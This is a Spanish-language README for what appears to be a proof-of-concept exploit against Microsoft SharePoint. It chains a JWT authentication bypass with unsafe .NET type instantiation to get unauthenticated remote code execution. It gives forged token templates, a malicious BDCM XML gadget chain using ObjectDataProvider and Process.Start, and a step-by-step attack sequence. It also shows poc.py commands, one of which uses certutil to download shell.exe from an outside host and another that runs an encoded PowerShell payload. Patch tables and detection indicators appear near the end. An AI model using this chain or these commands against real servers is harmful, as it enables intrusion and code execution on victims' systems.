
Cadena de explotación para RCE no autenticado en Microsoft SharePoint, que combina una omisión de autenticación JWT con la instanciación insegura de tipos .NET para lograr la ejecución de código como la cuenta de servicio.
RCE no autenticado en Microsoft SharePoint Server. No se necesitan credenciales.
Stephen Fewer (Rapid7) demostró CVE-2026-55040 en Pwn2Own Berlín 2026. Rapid7 luego descubrió CVE-2026-63520 durante una investigación de seguimiento, y VulnCheck encontró de forma independiente una cadena de gadgets alternativa. Juntos, estos dos fallos te dan ejecución remota de código no autenticada contra cualquier SharePoint sin parchear en internet.
CISA emitió alertas en cuestión de horas después de que se publicara el PoC. Se está explotando activamente en la naturaleza.
Dos fallos, una cadena:
| CVE | Tipo | CVSS | Qué rompe |
|---|
| CVE-2026-55040 | Bypass de autenticación JWT | 9.1 | La validación de tokens S2S de SharePoint tiene cuatro debilidades independientes. Encadénalas y forjas un JWT válido para cualquier usuario, incluidos administradores del sitio, sin conocer su contraseña. |
| CVE-2026-63520 | Instanciación insegura de tipos .NET → RCE | 8.1 | Business Data Connectivity (BDC) resuelve nombres de tipos .NET arbitrarios desde XML subido sin ninguna lista blanca. Apúntalo a ObjectDataProvider y obtienes Process.Start(). |
Ninguno de los dos fallos es interesante por sí solo. CVE-2026-63520 requiere autenticación. CVE-2026-55040 te da autenticación. Juntos: RCE no autenticado como la cuenta de servicio de SharePoint.
SharePoint usa JWTs anidados para la autenticación servidor a servidor (S2S). Un token externo lleva la identidad del usuario, un "token de actor" interno representa a la aplicación que llama. Cuatro debilidades en SPJsonWebSecurityTokenHandlerV2.ValidateToken() hacen que todo se derrumbe:
Debilidad 1: La verificación de firma está desactivada. El validador establece RequireSignedTokens = false. El token externo acepta alg: none. No se necesita firma.
Debilidad 2: Resolución de x5t sin verificación. La clave de firma del token de actor se resuelve buscando el encabezado x5t (huella digital del certificado) en el almacén de certificados. SharePoint nunca comprueba si la firma del token de actor realmente coincide con esa clave.
Debilidad 3: La validación del emisor acepta certificados desconocidos. ValidateIssuer() pasa si el certificado de firma no está en la colección TrustedSecurityTokenServices. El certificado STS propio de SharePoint no está registrado allí. Así que referenciarlo mediante x5t pasa la validación del emisor incondicionalmente.
Debilidad 4: Comprobación de firma no criptográfica. GetTokenSignature() requiere una cadena no vacía pero hace cero validación criptográfica. Cualquier valor funciona. AAAA funciona.
El certificado STS es público. Lo obtienes de /_layouts/15/metadata/json/1, un endpoint no autenticado, calculas la huella digital SHA-1, y tienes todo lo que necesitas.
Token externo (lleva la identidad del usuario):
// Encabezado
{"alg": "none", "typ": "JWT"}
// Carga útil
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID o UPN objetivo>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT interno>"
}
// Firma: vacía (alg:none)
Token de actor interno (representa la "aplicación"):
// Encabezado
{"alg": "RS256", "typ": "JWT", "x5t": "<huella digital del certificado STS>"}
// Carga útil
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Firma: "AAAA" (literalmente cualquier cosa no vacía)
Tres formas de elegir una identidad:
| Modo | nameid | nii | Qué necesitas |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID de dominio (vía sesión nula SMB) + fuerza bruta de RID |
| UPN | upn_bypass + claim upn | urn:office:idp:activedirectory | Un UPN válido (p. ej. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nada. Acceso limitado pero suficiente para algunas cadenas. |
El servicio Business Data Connectivity de SharePoint permite a los administradores definir fuentes de datos externas mediante archivos XML de modelo BDC (.bdcm). Estos modelos especifican tipos .NET que BDC instancia en tiempo de ejecución.
El problema está en DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // cualquier tipo en el GAC
Los nombres de tipo de menos de 15 caracteres pasan por un resolvedor seguro. Cualquier cosa más larga llama directamente a Type.GetType(), que resuelve cualquier nombre de tipo con calificación de ensamblado desde la caché global de ensamblados (GAC). Sin lista blanca. Sin lista negra. El atacante controla abstractTypeName a través del XML BDCM.
Usamos System.Windows.Data.ObjectDataProvider de PresentationFramework. Cuando estableces su propiedad ObjectInstance, invoca MethodName en esa instancia. Establece MethodName = "Start" y ObjectInstance = System.Diagnostics.Process con un StartInfo manipulado, y la reflexión del establecedor de propiedades de BDC hace el resto:
ObjectDataProvider creado
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ el establecedor de propiedades activa QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
El XML BDCM que transporta esto:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck documentó una cadena alternativa usando System.Web.UI.LosFormatter con deserialización TypeConfuseDelegate mediante un LobSystem DotNetAssembly. Múltiples gadgets funcionan: la primitiva subyacente es la instanciación de tipos sin restricciones.
Atacante Servidor SharePoint
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── Certificado STS (x5t + realm) ────│ (no autenticado)
│ │
│── Sesión nula SMB al DC ──────────────▶ Controlador de dominio
│◀── SID de dominio ────────────────────│
│ │
│── Forjar JWT (alg:none + firma AAAA) │
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: autenticado como admin
│ │
│── POST /_api/web/lists ────────────▶│ crear catálogo BDC
│── POST .../Files/add(evil.bdcm) ──▶│ subir cadena de gadgets
│── POST /_vti_bin/client.svc/ ──────▶│ activar ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <payload>
│ │ → se ejecuta como cuenta de servicio SP
Seis pasos:
Obtén el certificado STS. Accede a /_layouts/15/metadata/json/1. Sin autenticación. Extrae el certificado X.509 de keys[0].keyValue.value, aplícale hash SHA-1, codifícalo en base64url. Ese es tu x5t. El campo issuer te da el realm.
Encuentra un administrador del sitio. Sesión nula SMB al controlador de dominio, LsarQueryInformationPolicy de LSARPC para obtener el SID de dominio, luego itera los RIDs (500, 1000-10000) forjando un JWT para cada uno hasta que /_api/web/currentuser devuelva IsSiteAdmin: true. O simplemente proporciona un UPN conocido.
Forja el JWT. Externo: alg:none, nameid = SID de administrador, actortoken = JWT interno. Interno: alg:RS256, x5t = huella digital STS, firma = AAAA. Codifica en base64url, concatena con puntos. Listo.
Obtén un digest de formulario. POST /_api/contextinfo con el token Bearer forjado. SharePoint te entrega un FormDigestValue para operaciones de escritura.
Sube el BDCM. Crea una biblioteca BusinessDataMetadataCatalog, sube el XML .bdcm malicioso que contiene la cadena de gadgets ObjectDataProvider.
Dispara el gatillo. POST /_vti_bin/client.svc/ProcessQuery con una solicitud que resuelva la entidad BDC. SharePoint instancia los tipos del BDCM, establece propiedades mediante reflexión, y ObjectDataProvider dispara Process.Start(). El código se ejecuta como la cuenta de servicio de SharePoint.
| Producto | Vulnerable por debajo de | Parche | KB |
|---|---|---|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | CU de agosto de 2026 | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | SU de agosto de 2026 | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | SU de agosto de 2026 | - |
La actualización acumulativa de agosto de 2026 añade ValidateSafeBcsType() para restringir qué tipos .NET puede instanciar BDC. El parche de JWT añade verificación de firma adecuada y registra el certificado STS en la colección de servicios de tokens de confianza.
El soporte principal de SharePoint 2016 terminó en 2026. Las organizaciones sin soporte extendido pueden no recibir el parche.
Instala las dependencias:
pip install requests
pip install impacket # solo necesario para --domain-ip con descubrimiento automático de SID
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
El script hará lo siguiente:
x5t y realm de los metadatos STSpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
Querrás ver Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. Eso confirma que el bypass de JWT funciona y que tienes acceso de nivel administrador.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
Cosas a las que prestar atención:
alg: none que llegan a los endpoints de SharePoint. Los tokens S2S legítimos siempre usan RS256./_layouts/15/metadata/json/1 seguidas de llamadas API autenticadas desde la misma IP de origen. El endpoint de metadatos es público, pero el reconocimiento seguido de acceso de nivel administrador es sospechoso..bdcm nuevos que aparecen en BusinessDataMetadataCatalog. La mayoría de las implementaciones de SharePoint no usan BDC en absoluto. Cualquier subida de BDCM merece investigación.ProcessQuery que referencian entidades BDC desconocidas, especialmente con ObjectDataProvider o LosFormatter en los nombres de tipo de entidad.w3wp.exe (grupo de aplicaciones de SharePoint). cmd.exe, powershell.exe, certutil.exe como procesos hijos del proceso de trabajo son indicadores clásicos.Solo para pruebas de seguridad autorizadas. Obtén permiso por escrito antes de ejecutar esto contra cualquier cosa que no sea tuya.